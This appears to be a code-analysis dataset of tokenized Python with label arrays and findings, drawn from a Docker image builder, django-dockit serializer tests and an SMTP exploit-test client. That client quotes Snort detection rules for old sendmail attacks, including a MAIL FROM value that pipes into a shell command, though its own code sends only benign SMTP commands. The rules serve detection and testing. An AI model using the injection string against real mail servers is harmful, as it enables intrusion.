"\\u\\u\\uNEWLINE\\u\\u\\u_", "jsonfi", "le_", "._", "write_", "(_", "image", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "jsonfi", "le_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "version", "file", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "image", "dir_", ",_", "'", "VERSI", "ON", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version", "file_", "=_", "open_", "(_", "version", "file", "\\u", "path_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", " ", "-", " ", "Track", " ", "version", " ", "develop", "ment", "s", " ", "and", " ", "compatibility", "_", "\\u\\u\\uNL\\u\\u\\u_", "version", "file_", "._", "write_", "(_", "\"", "1.0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "version", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "layer", "file", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "image", "dir_", ",_", "'", "layer", ".", "tar", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutil_", "._", "move_", "(_", "builder_", "._", "target", "\\u", "image_", "._", "data_", ",_", "layer", "file", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "outt", "ar_", "=_", "tarfile_", "._", "Tar", "File_", "(_", "name_", "=_", "builder_", "._", "target", "\\u", "image_", "._", "data_", ",_", "mode_", "=_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "It", " ", "turns", " ", "out", " ", "tha", "t", " ", "in", " ", "at", " ", "leas", "t", " ", "some", " ", "configura", "tion", "s", " ", "or", " ", "version", "s", ",", " ", "Docke", "r", " ", "will", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "compl", "ain", " ", "if", " ", "the", " ", "repos", "itori", "es", " ", "file", " ", "is", " ", "not", " ", "the", " ", "last", " ", "file", " ", "in", " ", "the", " ", "archive_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "add", " ", "our", " ", "single", " ", "image", " ", "director", "y", " ", "first", " ", "and", " ", "then", " ", "the", " ", "repos", "itori", "es", " ", "file", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "avoid", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "outt", "ar_", "._", "add_", "(_", "image", "dir_", ",_", "arc", "name_", "=_", "docker", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "outt", "ar_", "._", "add_", "(_", "repos", "itori", "es", "\\u", "path_", ",_", "arc", "name_", "=_", "'", "repos", "itori", "es", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "docker", "version_", "==_", "\"", "1.1", "0.", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "outt", "ar_", "._", "add_", "(_", "config", "\\u", "path_", ",_", "arc", "name_", "=_", "'%", "s", ".", "json", "'_", "%_", "(_", "image", "\\u", "v2", "\\u", "config", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "outt", "ar_", "._", "add_", "(_", "manifest", "\\u", "path_", ",_", "arc", "name_", "=_", "'", "manifest", ".", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "outt", "ar_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "tempdir_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "shutil_", "._", "rmtree_", "(_", "tempdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "log_", "._", "warning_", "(_", "\"", "Error", " ", "encounter", "ed", " ", "whe", "n", " ", "remo", "ving", " ", "temp", " ", "dir", " ", "(%", "s", ")", " ", "-", " ", "may", " ", "not", " ", "have", " ", "bee", "n", " ", "delete", "d", "\"_", "%_", "(_", "tempdir_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "compress", "\\u", "command_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Compress", "ing", " ", "tar", " ", "file", " ", "usi", "ng", " ", "%", "s", "\"_", "%_", "(_", "compress", "\\u", "type_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "image_", "=_", "builder_", "._", "target", "\\u", "image_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comp", "image_", "=_", "builder_", "._", "target", "\\u", "image_", "._", "data_", "+_", "\".", "tmp", ".", "%", "s", "\"_", "%_", "(_", "compress", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "subprocess_", "._", "call_", "(_", "compress", "\\u", "command_", "%_", "(_", "raw", "image_", ",_", "comp", "image_", ")_", ",_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "Compress", "ion", " ", "of", " ", "image", " ", "fail", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Compress", "ion", " ", "complete", ",", " ", "repla", "cing", " ", "original", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "unlink_", "(_", "raw", "image_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "rename_", "(_", "comp", "image_", ",_", "raw", "image_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "debug_", "(_", "\"", "Don", "e", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "builde", "r", "\\u", "will", "\\u", "create", "\\u", "target", "\\u", "image_", "(_", "self_", ",_", "builder_", ",_", "target_", ",_", "image", "\\u", "id_", ",_", "template_", ",_", "parameters_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Image", "Factor", "y", "Exception_", "(_", "\"", "builde", "r", "\\u", "will", "\\u", "create", "\\u", "target", "\\u", "image", " ", "call", "ed", " ", "in", " ", "Docke", "r", " ", "plugin", " ", "-", " ", "this", " ", "shou", "ld", " ", "neve", "r", " ", "happ", "en", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Docke", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "builde", "r", "\\u", "did", "\\u", "create", "\\u", "target", "\\u", "image_", "(_", "self_", ",_", "builder_", ",_", "target_", ",_", "image", "\\u", "id_", ",_", "template_", ",_", "parameters_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Image", "Factor", "y", "Exception_", "(_", "\"", "builde", "r", "\\u", "did", "\\u", "create", "\\u", "target", "\\u", "image", " ", "call", "ed", " ", "in", " ", "Docke", "r", " ", "plugin", " ", "-", " ", "this", " ", "shou", "ld", " ", "neve", "r", " ", "happ", "en", "\"_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
zbyte64/django-dockit/dockit/tests/serializers/python_tests.py
[ { "content": " def test_serialize(self):\n child = ChildDocument(charfield='bar')\n child.save()\n parent = ParentDocument(title='foo', subdocument=child, subschema=ChildSchema(ct=ContentType.objects.all()[0]))\n assert parent.natural_key\n assert '@natural_key' in parent._primitive_data\n data = parent.to_portable_primitive(parent)\n self.assertTrue(isinstance(data['subschema']['ct'], tuple), str(data))\n self.assertTrue(isinstance(data['subdocument'], dict), \"Did not give a natural key: %s\" % data['subdocument'])\n self.assertTrue('@natural_key' in data, str(data))\n result = self.serializer.serialize([child, parent])\n self.assertEqual(len(result), 2)\n entry = result[1]\n self.assertTrue('fields' in entry)\n self.assertEqual(len(entry['fields']), 3, str(entry))\n del data['@natural_key']\n del data['@natural_key_hash']\n self.assertEqual(entry['fields'], data)", "metadata": "root.PythonSerializerTestCase.test_serialize", "header": "['class', 'PythonSerializerTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 13 }, { "content": " def test_deserialize(self):\n payload = [{'natural_key': {'charfield': 'bar'}, 'collection': ChildDocument._meta.collection, 'fields': {'charfield': u'bar'}},\n {'natural_key': {'uuid': 'DEADBEEF'}, 'collection': ParentDocument._meta.collection, 'fields': {'subdocument': {'charfield': 'bar'}, 'title': u'foo'}}]\n objects = list(Deserializer(payload))\n self.assertEqual(len(objects), 2)\n obj = objects[1]\n #assert False, str(obj.object.to_primitive(obj.object))\n self.assertEqual(obj.object['title'], 'foo')\n\n saved_objects = list()\n for obj in objects:\n saved_obj = obj.save()\n self.assertTrue('@natural_key_hash' in saved_obj._primitive_data)\n self.assertTrue(saved_obj.pk)\n saved_objects.append(saved_obj)\n\n for obj in saved_objects:\n obj.normalize_portable_primitives()\n obj.save()\n\n #assert False, saved_objects[0]._primitive_data['@natural_key_hash'] #-5545305821442551595\n self.assertEqual(saved_objects[1].subdocument, saved_objects[0])\n\n subdoc = saved_objects[1]._primitive_data['subdocument']\n self.assertEqual(subdoc, saved_objects[0].pk)", "metadata": "root.PythonSerializerTestCase.test_deserialize", "header": "['class', 'PythonSerializerTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 32 } ]
[ { "span": "self.assertTrue('fields' in entry)", "start_line": 26, "start_column": 8, "end_line": 26, "end_column": 42 }, { "span": "self.assertTrue('@natural_key_hash' in saved_obj._primitive_data)", "start_line": 44, "start_column": 12, "end_line": 44, "end_column": 77 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Pyth", "on", "Seriali", "zer", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "serialize_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "child_", "=_", "Chil", "d", "Document_", "(_", "char", "field_", "=_", "'", "bar", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "child_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "=_", "Parent", "Document_", "(_", "title_", "=_", "'", "foo", "'_", ",_", "subd", "ocu", "ment_", "=_", "child_", ",_", "subsc", "hema", "_", "=_", "Chil", "d", "Schema_", "(_", "ct_", "=_", "Conten", "t", "Type_", "._", "objects_", "._", "all_", "(_", ")_", "[_", "0_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "parent_", "._", "natur", "al", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'@", "natur", "al", "\\u", "key", "'_", "in_", "parent_", "._", "\\u", "primi", "tiv", "e\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "parent_", "._", "to", "\\u", "portab", "le", "\\u", "primitive_", "(_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "data_", "[_", "'", "subsc", "hema", "'_", "]_", "[_", "'", "ct", "'_", "]_", ",_", "tuple_", ")_", ",_", "str_", "(_", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "data_", "[_", "'", "subd", "ocu", "ment", "'_", "]_", ",_", "dict_", ")_", ",_", "\"", "Di", "d", " ", "not", " ", "give", " ", "a", " ", "natur", "al", " ", "key", ":", " ", "%", "s", "\"_", "%_", "data_", "[_", "'", "subd", "ocu", "ment", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'@", "natur", "al", "\\u", "key", "'_", "in_", "data_", ",_", "str_", "(_", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "serializer_", "._", "serialize_", "(_", "[_", "child_", ",_", "parent_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "result_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entry_", "=_", "result_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "fields", "'_", "in_", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "entry_", "[_", "'", "fields", "'_", "]_", ")_", ",_", "3_", ",_", "str_", "(_", "entry_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "data_", "[_", "'@", "natur", "al", "\\u", "key", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "data_", "[_", "'@", "natur", "al", "\\u", "key", "\\u", "hash", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "entry_", "[_", "'", "fields", "'_", "]_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pyth", "on", "Seriali", "zer", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "deserialize_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "payload_", "=_", "[_", "{_", "'", "natur", "al", "\\u", "key", "'_", ":_", "{_", "'", "char", "field", "'_", ":_", "'", "bar", "'_", "}_", ",_", "'", "collection", "'_", ":_", "Chil", "d", "Document_", "._", "\\u", "meta_", "._", "collection_", ",_", "'", "fields", "'_", ":_", "{_", "'", "char", "field", "'_", ":_", "u", "'", "bar", "'_", "}_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "natur", "al", "\\u", "key", "'_", ":_", "{_", "'", "uuid", "'_", ":_", "'", "DEAD", "BE", "EF", "'_", "}_", ",_", "'", "collection", "'_", ":_", "Parent", "Document_", "._", "\\u", "meta_", "._", "collection_", ",_", "'", "fields", "'_", ":_", "{_", "'", "subd", "ocu", "ment", "'_", ":_", "{_", "'", "char", "field", "'_", ":_", "'", "bar", "'_", "}_", ",_", "'", "title", "'_", ":_", "u", "'", "foo", "'_", "}_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "objects_", "=_", "list_", "(_", "Deserializ", "er_", "(_", "payload_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "objects_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "objects_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "assert", " ", "Fal", "se", ",", " ", "str", "(", "obj", ".", "object", ".", "to", "\\u", "primi", "tiv", "e", "(", "obj", ".", "object", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "obj_", "._", "object_", "[_", "'", "title", "'_", "]_", ",_", "'", "foo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "saved", "\\u", "objects_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "obj_", "in_", "objects_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "saved", "\\u", "obj_", "=_", "obj_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'@", "natur", "al", "\\u", "key", "\\u", "hash", "'_", "in_", "saved", "\\u", "obj_", "._", "\\u", "primi", "tiv", "e\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "saved", "\\u", "obj_", "._", "pk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "saved", "\\u", "objects_", "._", "append_", "(_", "saved", "\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "obj_", "in_", "saved", "\\u", "objects_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "._", "normali", "ze", "\\u", "portab", "le", "\\u", "primitives_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "assert", " ", "Fal", "se", ",", " ", "saved", "\\u", "object", "s", "[", "0", "].", "\\u", "primi", "tiv", "e\\u", "data", "['", "@", "natur", "al", "\\u", "key", "\\u", "hash", "']", " ", "#-", "554", "530", "582", "144", "2551", "595", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "saved", "\\u", "objects_", "[_", "1_", "]_", "._", "subd", "ocu", "ment_", ",_", "saved", "\\u", "objects_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "subd", "oc_", "=_", "saved", "\\u", "objects_", "[_", "1_", "]_", "._", "\\u", "primi", "tiv", "e\\u", "data_", "[_", "'", "subd", "ocu", "ment", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "subd", "oc_", ",_", "saved", "\\u", "objects_", "[_", "0_", "]_", "._", "pk_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
kdart/pycopia/net/pycopia/clientservers/clients/smtp.py
[ { "content": "#!/usr/bin/python\n# -*- coding: ascii -*-\n# vim:ts=4:sw=4:softtabstop=4:smarttab:expandtab\n# License: LGPL\n# Keith Dart <[email protected]>\n\n\"\"\"\nClients used to test various SMTP related exploits.\n\n\"\"\"\n\nfrom pycopia import protocols\nfrom pycopia import clientserver\n\n\n\n\n\n\n# (msg:\"SMTP RCPT TO decode attempt\"; flow:to_server,established; content:\"rcpt\n# to|3A|\"; nocase; content:\"decode\"; distance:0; nocase; pcre:\"/^rcpt\n# to\\:\\s*decode/smi\"; reference:arachnids,121; reference:bugtraq,2308;\n# reference:cve,1999-0203; classtype:attempted-admin; sid:664; rev:15;)\n\n\n# (msg:\"SMTP sendmail 5.6.5 exploit\"; flow:to_server,established; content:\"MAIL\n# FROM|3A| |7C|/usr/ucb/tail\"; nocase; reference:arachnids,122;\n# reference:bugtraq,2308; reference:cve,1999-0203; classtype:attempted-user;\n# sid:665; rev:8;)\n\n\nif __name__ == \"__main__\":\n from pycopia import autodebug\n proto = Snort664()\n client = clientserver.get_client(SMTPClient, \"localhost\", proto, port=SMTPClient.altport)\n client.run()\n client.close()\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SMTPExploitTest(protocols.Protocol):\n EOL = \"\\r\\n\"\n\n\n\n\n\n\n\n\n\n", "metadata": "root.SMTPExploitTest", "header": "['module', '___EOS___']", "index": 15 }, { "content": " def initialize(self, fsm):\n fsm.set_default_transition(self._bye, fsm.RESET)\n fsm.add_regex(\"220 (.*)\", fsm.RESET, self._greet, 1)\n fsm.add_regex(\"250 (.*)\", 1, self._mail, 2)\n fsm.add_regex(\"503 (.*)\", 2, self._quit, 6)\n fsm.add_regex(\"553 (.*)\", 2, self._quit, 6)\n fsm.add_regex(\"250 (.*)\", 2, self._rcpt, 3)\n fsm.add_regex(\"250 (.*)\", 3, self._data, 4)\n fsm.add_regex(\"503 (.*)\", 3, self._quit, 6)\n fsm.add_regex(\"354 (.*)\", 4, self._send, 5)\n fsm.add_regex(\"250 (.*)\", 5, self._quit, 6)\n fsm.add_regex(\"221 (.*)\", 6, self._goodbye, fsm.RESET)", "metadata": "root.SMTPExploitTest.initialize", "header": "['class', 'SMTPExploitTest', '(', 'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 18 }, { "content": " def writeeol(self, data):\n self.iostream.write(data+\"\\r\\n\")", "metadata": "root.SMTPExploitTest.writeeol", "header": "['class', 'SMTPExploitTest', '(', 'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 31 }, { "content": " def _bye(self, mo):\n self.iostream.close()\n raise protocols.ProtocolExit(1)", "metadata": "root.SMTPExploitTest._bye", "header": "['class', 'SMTPExploitTest', '(', 'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 34 }, { "content": " def _goodbye(self, mo):\n self.iostream.close()\n raise protocols.ProtocolExit(0)", "metadata": "root.SMTPExploitTest._goodbye", "header": "['class', 'SMTPExploitTest', '(', 'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 38 }, { "content": " def _greet(self, mo):\n self.writeeol(\"HELO somewhere.com\")", "metadata": "root.SMTPExploitTest._greet", "header": "['class', 'SMTPExploitTest', '(', 'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 42 }, { "content": " def _mail(self, mo):\n self.writeeol(\"MAIL FROM: <[email protected]>\")", "metadata": "root.SMTPExploitTest._mail", "header": "['class', 'SMTPExploitTest', '(', 'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 45 }, { "content": " def _rcpt(self, mo):\n self.writeeol(\"RCPT TO: <postmaster>\")", "metadata": "root.SMTPExploitTest._rcpt", "header": "['class', 'SMTPExploitTest', '(', 'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 48 }, { "content": " def _quit(self, mo):\n self.writeeol(\"QUIT\")", "metadata": "root.SMTPExploitTest._quit", "header": "['class', 'SMTPExploitTest', '(', 'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 51 }, { "content": " def _data(self, mo):\n self.writeeol(\"DATA\")", "metadata": "root.SMTPExploitTest._data", "header": "['class', 'SMTPExploitTest', '(', 'protocols', '.', 'Protocol', ')', ':', '___EOS___']", "index": 54 }, { "content": " def _send(self, mo):\n self.writeeol(\"\"\"From: \"Yours Truly\" <[email protected]>\nTo: <[email protected]>\n\nMessage body.\n\"\"\".replace(\"\\n\", \"\\r\\n\"))\n self.writeeol('.')", "metadata": "root.SMTPExploitTest._send", "header": "['class', 'SMTPExploitTest', '(', 